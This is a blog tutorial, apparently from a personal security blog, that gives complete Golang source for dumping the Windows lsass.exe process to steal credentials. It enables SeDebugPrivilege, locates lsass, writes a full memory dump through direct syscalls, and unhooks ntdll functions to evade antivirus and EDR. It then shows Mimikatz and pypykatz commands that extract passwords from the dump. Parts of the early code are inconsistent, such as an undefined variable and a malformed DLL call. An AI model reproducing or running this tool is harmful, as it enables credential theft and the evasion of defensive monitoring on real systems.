Waseem Akram

Malware Development 4 - Dump lsass.exe process + AV/EDR evasion (Golang)

By Waseem Akram on 10/17/2024

Today we’ll dump LSASS.EXE process memory to obtain credentials and we also will be using some evasion techniques. During red team...

Malware Development 4 - Dump lsass.exe process + AV/EDR evasion (Golang)

Introduction

Hello dear hackers!

Today we’ll dump LSASS.EXE process memory to obtain credentials and we also will be using some evasion techniques. Inspired by Dumpert

Explanation

During red team operations you may need to get credentials to reuse them or/and maintain access but if you try to use Mimikatz to do this, is highly probable to be detected so instead of that we can dump the LSASS.EXE memory process which takes core of the security policies and it means Local Security Authority Subsystem Service. This technique must be done as Administrator because the process runs with high privileges and SeDebugPrivilege is required in order to interact with the LSASS process.

The general workflow of the program will be like this:

Workflows

Code

The first part of the program will use direct syscalls as evasion technique (Hell’s Gate & Halo’s Gate) but we’ll apply more techniques later.

Let’s import necessary packages, if you haven’t installed my library execute this:

go get github.com/evildevill/Hooka/pkg/hooka

Now we continue:

package main
 
import (
  "os"
  "fmt"
  "log"
  "time"
  "errors"
  "unsafe"
  "syscall"
 
  "golang.org/x/sys/windows"
 
  // Custom malware dev package
  "github.com/evildevill/Hooka/pkg/hooka"
)

In this post we also will be using my own malware development library which has tons of useful functions but today we just will use it to implement direct syscall via Hell’s Gate and Halo’s Gate techniques. However the rest of the program like API unhooking will be done by hand.

In case you don’t know too much about this techniques you can get a really good overview of them here and here

I won’t dig this to deep but here we define required structures, most of them are used to interact with processes or session tokens later:

// Necessary structures
type ClientID struct {
  UniqueProcess uintptr
  UniqueThread  uintptr
}
 
type ObjectAttrs struct {
  Length                   uintptr
  RootDirectory            uintptr
  ObjectName               uintptr
  Attributes               uintptr
  SecurityDescriptor       uintptr
  SecurityQualityOfService uintptr
}
 
type WindowsProcess struct { // Windows process structure
  ProcessID       int     // PID
  ParentProcessID int     // PPID
  Exe             string  // Cmdline executable (e.g. explorer.exe)
}
 
// Privileges and attributes
type Luid struct {
  lowPart  uint32
  highPart int32
}
 
type LuidAndAttributes struct {
  luid       Luid
  attributes uint32
}
 
type TokenPrivileges struct {
  privilegeCount uint32
  privileges     [1]LuidAndAttributes
}

As I said before we need to have SeDebugPrivilege enabled in order to interact with LSASS.EXE process so let’s code a function which enables it using some Windows calls like LookupPrivilegeValueW and AdjustTokenPrivileges:

...
 
func EnableSeDebugPrivilege() (error) {
 
  var privilege_name = "SeDebugPrivilege"
  var tokenAdjustPrivileges = 0x0020 // Windows values
  var SePrivilegeEnabled uint32 = 0x00000002
  var tokenQuery = 0x0008
 
  // Import DLLs
  kernel32 := windows.NewLazyDLL("kernel32.dll")
  advapi32 := windows.NewLazyDLL("advapi32.dll")
 
  // Resolve API calls
  GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
  GetLastError := kernel32.NewProc("GetLastError")
  OpenProcessToken := advapi32.NewProc("OpenProcessToken")
  LookupPrivilegeValue := advapi32.NewProc("LookupPrivilegeValueW")
  AdjustTokenPrivileges := advapi32.NewProc("AdjustTokenPrivileges")
 
  // Get current process handle
  currentProc, _, _ := GetCurrentProcess.Call()
 
  var hToken uintptr
  // Get token from process
  result, _, err := OpenProcessToken.Call(
    currentProc,
    uintptr(tokenAdjustPrivileges) | uintptr(tokenQuery),
    uintptr(unsafe.Pointer(&hToken)),
  )
 
  if result != 1 { // Handle error
    return err
  }
 
  var tkp TokenPrivileges
  // Get token privileges values
  result, _, err = LookupPrivilegeValue.Call(
    uintptr(0),
    uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(privilege_name))),
    uintptr(unsafe.Pointer(&(tkp.privileges[0].luid))),
  )
 
  if result != 1 { // Handle error
    return err
  }
 
  // Modify with custom values
  tkp.privilegeCount = 1
  tkp.privileges[0].attributes = SePrivilegeEnabled
 
  // Finally overwrite token privs
  result, _, err = AdjustTokenPrivileges.Call(
    hToken,
    0,
    uintptr(unsafe.Pointer(&tkp)),
    0,
    uintptr(0),
    0,
  )
 
  if result != 1 { // Handle error
    return err
  }
 
  // Check if last return code was an error
  result, _, _ = GetLastError.Call()
  if result != 0 {
    return err
  }
}
 
...

There are some comments along the code but in case you don’t wanna read every letter, this function follows this structure:

    1. Get a handle to self process via GetCurrentProcess()
    1. Get handle token via OpenProcessToken
    1. Get privileges values via LookupPrivilegeValue
    1. Modify and overwrite token to enable SeDebugPrivilege

Now we create a function to check administrator rights, for our purpose we’ll check if user is inside admins group. If someone executes the program as non-privileged user it returns an error

...
 
// I took and moded this function from somewhere but I don't remember
func CheckAdmin() (bool, error) {
 
  var sid *windows.SID
  err := windows.AllocateAndInitializeSid(
    &windows.SECURITY_NT_AUTHORITY,
    2,
    windows.SECURITY_BUILTIN_DOMAIN_RID,
    windows.DOMAIN_ALIAS_RID_ADMINS,
    0, 0, 0, 0, 0, 0,
    &sid,
  )
 
  if err != nil {
    return false, err
  }
 
  token := windows.Token(0)
 
  // Check if is inside admin group
  member, err := token.IsMember(sid)
  if err != nil { // Handle error
    return false, err
  }
 
  return member, nil
}
 
...

This function uses AllocateAndInitializeSid API call to retrieve SIDs information and then it checks if the user is part of the Administrators group. If the user is an admin, it returns true, otherwise it returns false.

Let’s take a look about how to find lsass.exe PID. First of all we have to use some API calls like CreateToolhelp32Snapshot and Process32Next, I think that they are never detected as malicious or something like that because they just enumerate and list processes so we don’t have to do anything special.

However in this case we’ll be using a modified version of a function from https://github.com/mitchellh/go-ps/blob/master/process_windows.go

// Auxiliary function
func newWindowsProcess(e *windows.ProcessEntry32) (WindowsProcess) {
  end := 0
  for {
    if e.ExeFile[end] == 0 {
      break
    }
    end++
  }
 
  return WindowsProcess{
    ProcessID:       int(e.ProcessID),
    ParentProcessID: int(e.ParentProcessID),
    Exe:             syscall.UTF16ToString(e.ExeFile[:end]),
  }
}
 
func FindLsassPid() (int, error) {
  const TH32CS_SNAPPROCESS = 0x00000002
 
  handle, err := windows.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
  if err != nil {
    return 0, err
  }
  defer windows.CloseHandle(handle)
 
  var entry windows.ProcessEntry32
  entry.Size = uint32(unsafe.Sizeof(entry))
 
  err = windows.Process32First(handle, &entry)
  if err != nil {
    return 0, err
  }
 
  results := make([]WindowsProcess, 0, 50)
  for {
    results = append(results, newWindowsProcess(&entry))
 
    err = windows.Process32Next(handle, &entry)
    if err != nil {
      // Check if there aren't more processes
      if err == syscall.ERROR_NO_MORE_FILES {
        break
      }
 
      return 0, err
    }
  }
 
  // Iterate over all processes
  for _, proc := range results {
    // Check if process name is lsass.exe
    if proc.Exe == "lsass.exe" {
      return proc.ProcessID, nil // Return PID
    }
  }
 
  return 0, errors.New("lsass.exe process not found!")
}

Once we also have that, let’s start with the main part… the LSASS.EXE process dump

This function will receive the process ID (PID) and a string which is the file where the process dump will be written to

// Golang function
func DumpLsass(pid int, output string) (error) {
  ...
}

We use hooka to retrieve direct syscalls (see here for references), I only use it with NtOpenProcess however I also wanted to use it with NtCreateFile but it was really hard so I let you to do that. We will use CreateFileW instead

func DumpLsass(pid int, output string) (error) {
  // Get syscall
  NtOpenProcess, err := hooka.GetSysId("NtOpenProcess")
  if err != nil {
    return err
  }
 
  // Variable to store process pointer
  var procHandle uintptr
  // Open lsass process
  _, err = hooka.Syscall(
    NtOpenProcess, // syscall
    uintptr(unsafe.Pointer(&procHandle)), // process handle
    uintptr(0xFFFF),
    uintptr(unsafe.Pointer(&ObjectAttrs{0, 0, 0, 0, 0, 0})), // attributes
    uintptr(unsafe.Pointer(&ClientID{uintptr(pid), 0})),
    0,
  )
 
  if err != nil { // Handle error
    return err
  } else if procHandle == 0 {
    return err
  }
 
  // Create file on path
  os.Create(dump_path)
  // Get API call
  CreateFile := windows.NewLazyDLL("kernel32").NewProc("CreateFileW")
  // Convert string to uintptr
  path, _ := syscall.UTF16PtrFromString(output)
 
  // Call CreateFileW to write memory bytes
  fHandle, _, _ := CreateFile.Call(
    uintptr(unsafe.Pointer(path)), // file path
    syscall.GENERIC_WRITE, // access
    syscall.FILE_SHARE_READ | syscall.FILE_SHARE_WRITE,
    0,
    syscall.OPEN_EXISTING,
    syscall.FILE_ATTRIBUTE_NORMAL,
    0,
  )
 
  MiniDumpWriteDump := windows.NewLazyDLL.NewProc("MiniDumpWriteDump")
 
  // Dump memory
  ret, _, err := MiniDumpWriteDump.Call(
    uintptr(procHandle), // process handle
    uintptr(pid), // process id
    uintptr(fHandle), // file handle
    0x00061907,
    0,
    0,
    0,
  )
 
  if (ret == 0) {
    os.Remove(dump_path)
    return err
  }
 
  return nil
}

As you see, this piece of code firstly opens the given PID to get a handle to the process, then it creates a file in which dump is writen and finally calls MiniDumpWriteDump which writes process memory to file handle.

At this point we just have to create the main() function of every Golang script and adding some extra output logging:

func main(){
  fmt.Println("Checking permissions...")
  check, err := CheckAdmin()
  if err != nil {
    log.Fatal(err)
  }
 
  if check == false {
    log.Fatal(errors.New("An error has ocurred, please run as admin!"))
  }
 
  fmt.Println("Enabling SeDebugPrivilege...")
  err = EnableSeDebugPrivilege()
  if err != nil {
    log.Fatal(err)
  }
 
  fmt.Println("Searching lsass.exe process...")
  pid, err := FindLsassPid()
  if err != nil {
    log.Fatal(err)
  }
 
  fmt.Println("PID found:", pid)
 
  fmt.Println("Dumping lsass.exe process...")
  err = DumpLsass(pid, "lsass.dmp")
  if err != nil {
    log.Fatal(err)
  }
 
  fmt.Println("[+] Process finished!")
}

Let’s add some logging to the code to provide a better output. And finally add some cool banner using manytools.org automatic generator

And here it’s the final code

package main
 
/*
 
Author: Waseem Akram
Blog post: https://hackerwasii.com/blogposts/malware-development-4-dump-lsassexe-process-avedr-evasion-golang
 
*/
 
...
 
// Packages and structs omitted for brevety
 
func EnableSeDebugPrivilege() (error) {
 
  var privilege_name = "SeDebugPrivilege"
  var tokenAdjustPrivileges = 0x0020 // Windows values
  var tokenQuery = 0x0008
  var SePrivilegeEnabled uint32 = 0x00000002
 
  // Import DLLs
  kernel32 := windows.NewLazyDLL("kernel32.dll")
  advapi32 := windows.NewLazyDLL("advapi32.dll")
 
  // Get API calls
  GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
  GetLastError := kernel32.NewProc("GetLastError")
  OpenProcessToken := advapi32.NewProc("OpenProcessToken")
  LookupPrivilegeValue := advapi32.NewProc("LookupPrivilegeValueW")
  AdjustTokenPrivileges := advapi32.NewProc("AdjustTokenPrivileges")
 
  // Get current process handle
  currentProc, _, _ := GetCurrentProcess.Call()
 
  var hToken uintptr
  // Get token from process
  result, _, err := OpenProcessToken.Call(
    currentProc,
    uintptr(tokenAdjustPrivileges) | uintptr(tokenQuery),
    uintptr(unsafe.Pointer(&hToken)),
  )
 
  if result != 1 { // Handle error
    return err
  }
 
  var tkp TokenPrivileges
  // Get token privileges values
  result, _, err = LookupPrivilegeValue.Call(
    uintptr(0),
    uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(privilege_name))),
    uintptr(unsafe.Pointer(&(tkp.privileges[0].luid))),
  )
 
  if result != 1 { // Handle error
    return err
  }
 
  // Modify with custom values
  tkp.privilegeCount = 1
  tkp.privileges[0].attributes = SePrivilegeEnabled
 
  // Finally overwrite token privs
  result, _, err = AdjustTokenPrivileges.Call(
    hToken,
    0,
    uintptr(unsafe.Pointer(&tkp)),
    0,
    uintptr(0),
    0,
  )
 
  if result != 1 { // Handle error
    return err
  }
 
  // Check if last return code was an error
  result, _, _ = GetLastError.Call()
  if result != 0 {
    return err
  }
 
  return nil
}
 
func CheckAdmin() (bool, error) {
 
  var sid *windows.SID
  err := windows.AllocateAndInitializeSid(
    &windows.SECURITY_NT_AUTHORITY,
    2,
    windows.SECURITY_BUILTIN_DOMAIN_RID,
    windows.DOMAIN_ALIAS_RID_ADMINS,
    0, 0, 0, 0, 0, 0,
    &sid,
  )
 
  if err != nil {
    return false, err
  }
 
  token := windows.Token(0)
 
  // Check if is inside admin group
  member, err := token.IsMember(sid)
  if err != nil { // Handle error
    return false, err
  }
 
  return member, nil
}
 
// Auxiliary function moded from https://github.com/mitchellh/go-ps/blob/master/process_windows.go
func newWindowsProcess(e *windows.ProcessEntry32) (WindowsProcess) {
  end := 0
  for {
    if e.ExeFile[end] == 0 {
      break
    }
    end++
  }
 
  return WindowsProcess{
    ProcessID:       int(e.ProcessID),
    ParentProcessID: int(e.ParentProcessID),
    Exe:             syscall.UTF16ToString(e.ExeFile[:end]),
  }
}
 
func FindLsassPid() (int, error) {
  const TH32CS_SNAPPROCESS = 0x00000002
 
  handle, err := windows.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
  if err != nil {
    return 0, err
  }
  defer windows.CloseHandle(handle)
 
  var entry windows.ProcessEntry32
  entry.Size = uint32(unsafe.Sizeof(entry))
 
  err = windows.Process32First(handle, &entry)
  if err != nil {
    return 0, err
  }
 
  results := make([]WindowsProcess, 0, 50)
  for {
    results = append(results, newWindowsProcess(&entry))
 
    err = windows.Process32Next(handle, &entry)
    if err != nil {
      // Check if there aren't more processes
      if err == syscall.ERROR_NO_MORE_FILES {
        break
      }
 
      return 0, err
    }
  }
 
  // Iterate over all processes
  for _, proc := range results {
    // Check if process name is lsass.exe
    if proc.Exe == "lsass.exe" {
      return proc.ProcessID, nil // Return PID
    }
  }
 
  return 0, errors.New("lsass.exe process not found!")
}
 
func DumpLsass(pid int, output string) (error) {
  // Get syscall ID
  NtOpenProcess, err := hooka.GetSysId("NtOpenProcess")
  if err != nil { // Handle error
    return err
  }
 
  // Variable to store process pointer
  var procHandle uintptr
  // Open lsass process
  _, err = hooka.Syscall(
    NtOpenProcess, // syscall
    uintptr(unsafe.Pointer(&procHandle)), // process handle
    uintptr(0xFFFF),
    uintptr(unsafe.Pointer(&ObjectAttrs{0, 0, 0, 0, 0, 0})), // attributes
    uintptr(unsafe.Pointer(&ClientID{uintptr(pid), 0})),
    0,
  )
 
  if err != nil { // Handle error
    return err
  } else if procHandle == 0 {
    return err
  }
 
  // Create file on path
  os.Create(output)
  // Get API call
  CreateFile := windows.NewLazyDLL("kernel32").NewProc("CreateFileW")
  // Convert string to uintptr
  path, _ := syscall.UTF16PtrFromString(output)
 
  // Call CreateFileW to write memory bytes
  fHandle, _, _ := CreateFile.Call(
    uintptr(unsafe.Pointer(path)), // file path
    syscall.GENERIC_WRITE, // access
    syscall.FILE_SHARE_READ | syscall.FILE_SHARE_WRITE,
    0,
    syscall.OPEN_EXISTING,
    syscall.FILE_ATTRIBUTE_NORMAL,
    0,
  )
 
  MiniDumpWriteDump := windows.NewLazyDLL("Dbghelp.dll").NewProc("MiniDumpWriteDump")
  // Dump memory
  ret, _, err := MiniDumpWriteDump.Call(
    uintptr(procHandle), // process handle
    uintptr(pid), // process id
    uintptr(fHandle), // file handle
    0x00061907, // MiniDumpWithFullMemory
    0,
    0,
    0,
  )
 
  if (ret == 0) { // Handle error
    os.Remove(output)
    return err
  }
 
  return nil
}
 
func Banner(){
  fmt.Println(`   ___         ___
  / __|___ ___|   \ _  _ _ __  _ __
 | (_ / _ \___| |) | || | '  \| '_ \
  \___\___/   |___/ \_,_|_|_|_| .__/
                              |_|
  `)
}
 
func main(){
  Banner()
 
  fmt.Println("[*] Checking permissions...")
  check, err := CheckAdmin()
  if err != nil {
    log.Fatal(err)
  }
 
  if check == false {
    log.Fatal(errors.New("An error has ocurred, please run as admin!"))
  }
 
  fmt.Println("[+] Administrator privileges found!")
 
  fmt.Println("Enabling SeDebugPrivilege...")
  err = EnableSeDebugPrivilege()
  if err != nil {
    log.Fatal(err)
  }
 
  fmt.Println("[*] Searching lsass.exe process...")
  pid, err := FindLsassPid()
  if err != nil {
    log.Fatal(err)
  }
 
  fmt.Println("[+] PID found:", pid)
 
  fmt.Println("[*] Dumping lsass.exe process...")
  err = DumpLsass(pid, "lsass.dmp")
  if err != nil {
    log.Fatal(err)
  }
 
  fmt.Println("[+] Process finished!")
}

If you have any doubt or you wanna ask me anything, contact me via Instagram or Twitter

Let’s go testing it!

Demo

First of all we compile our code:

GOARCH=amd64 GOOS=windows go build main.go

Now we transfer it to our testing Windows machine and let’s execute it

executing

As you can see it seems to have worked. If I list the files we notice that the dump file was created as expected!

lsass dump

Now you can use Mimikatz (or pypykatz if using linux) to extract credentials from memory dump

# Mimikatz internal commands
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
# Pypykatz from CLI
pypykatz lsa minidump lsass.dmp

if all has gone right you should be able to see the info and some credentials

Evasion via API unhooking

Now let's hard the technique to evade possible security measures. In this ocassion we'll be unhooking native API functions before doing anything so the rest of syscalls will be done without being detected

If you don’t know how API unhooking works you have some excellent posts from ired.team, @MDSec and @SpecialHoang in which they explain it really great.

How will this affect to MiniDumpWriteDump? Well, you probably would have noticed that this function isn’t part of the native API (ntdll.dll), and you’re right but this function uses NtReadVirtualMemory under the hood so if that function isn’t being hooked by any AV/EDR it won’t probably be flagged. You may also think that the same syscalls which are used to unhook native API (i.e. NtWriteVirtualMemory) will even be detected as they’re being called, but that’s why we use direct syscalls via Hell’s Gate and Halo’s Gate techniques.

So the evasion workflow will be something like this:

Evasion

Before coding this technique, let’s check if the MiniDumpWriteDump calls NtReadVirtualMemory under the hood with WinDbg

First of all we open WinDbg with administrator privs as program needs to be executed with high privs.

windbg

Then we click on Open Executable and select the generated.exe

openexe

We add a breakpoint on the NtReadVirtualMemory function and continue the program execution. As you can see we hitted the breakpoint so we were right. In this case the syscall starting bytes are 4c 8b d1 b8 which means that the function isn’t hooked but in a monitorized environment it would probably be

Let’s move the explanation into Golang code

func UnhookApi() (error) {
  // Get calls from dll
  kernel32 := windows.NewLazyDLL("kernel32.dll")
  GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
  GetModuleHandle := kernel32.NewProc("GetModuleHandleW")
  GetProcAddress := kernel32.NewProc("GetProcAddress")
 
  // Define bytes array for original syscall bytes
  var assembly_bytes []byte
 
  ntdll_lib, _ := syscall.LoadLibrary("C:\\Windows\\System32\\ntdll.dll")
  defer syscall.FreeLibrary(ntdll_lib)
 
  procAddr, _ := syscall.GetProcAddress(ntdll_lib, "NtReadVirtualMemory")
 
  ptr_bytes := (*[1 << 30]byte)(unsafe.Pointer(procAddr))
  funcBytes := ptr_bytes[:5:5]
 
  for i := 0; i < 5; i++ {
    assembly_bytes = append(assembly_bytes, funcBytes[i])
  }
 
  pHandle, _, _ := GetCurrentProcess.Call()
 
  ntdll_ptr, _ := windows.UTF16PtrFromString("ntdll.dll")
  moduleHandle, _, _ := GetModuleHandle.Call(uintptr(unsafe.Pointer(ntdll_ptr)))
 
  funcname, _ := windows.UTF16PtrFromString("NtReadVirtualMemory")
  baseAddr, _, _ := GetProcAddress.Call(moduleHandle, uintptr(unsafe.Pointer(funcname)))
 
  // Get syscall
  NtWriteVirtualMemory, err := hooka.GetSysId("NtWriteVirtualMemory")
  if err != nil {
    return err
  }
 
  hooka.Syscall(
    NtWriteVirtualMemory,
    uintptr(pHandle),
    uintptr(baseAddr),
    uintptr(unsafe.Pointer(&assembly_bytes[0])),
    uintptr(len(assembly_bytes)),
    0,
  )
 
  return nil
}

Demo 2

Repeat the same process compiling the code and executing it.

GOARCH=amd64 GOOS=windows go build evasion.go

Now we execute the new binary

executing2

And the dump file is created too!

lsass dump2

References

https://learn.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump
https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot
https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-process32next
https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-process32first
https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-ntopenprocess
https://github.com/outflanknl/Dumpert
https://j00ru.vexillium.org/syscalls/nt/64/
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.001/T1003.001.md
https://www.ired.team/offensive-security/defense-evasion/bypassing-cylance-and-other-avs-edrs-by-unhooking-windows-apis
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass

Conclusion

As you see this technique is useful because it doesn’t use Mimikatz but instead use MiniDumpWriteDump API call which is sometimes easy to detect by EDRs. That’s why we use some evasion tricks. I hope you’ve learned a lot:)

Source code here

See you in the next post!

Other Posts You Might Like

10/15/2024
·
Waseem Akram

Malware Development 3 - Persistence via Recycle Bin (Golang)

Today we’re gonna see an effective technique to mantain access in Windows systems during red team operations just by modifying a registry key...

Read More
10/14/2024
·
Waseem Akram

Malware Development 2 UuidFromString shellcode injection (Golang)

Today we’ll learn an advanced shellcode injection technique used by Lazarus group which uses UuidFromStringA API call. In this technique, the malware..

Read More
10/5/2024
·
Waseem Akram

How Hackers Target Instagram Accounts & How to Protect Yourself in 2024

Instahack is a security tool officially designed to test the password strength of Instagram accounts using termux and kali with a brute force attack...

Read More
10/1/2024
·
Waseem Akram

Malware Development 1 - CreateRemoteThread shellcode injection (Golang)

Today we’re gonna see a simple malware development technique, Shellcode injection via CreateRemoteThread in Golang...

Read More
9/30/2024
·
Waseem Akram

Malware Development How to call Windows API from Go

Today we'll see how we can use Golang internal functions from syscall and golang.org/x/sys/windows packages to call Windows API. Other languages like C o C++ are specifically

Read More
9/28/2024
·
Waseem Akram

Understanding the basename Command in Linux

The basename command in Linux is used to extract the last element of a file path. This is particularly helpful in bash scripts where you only need the...

Read More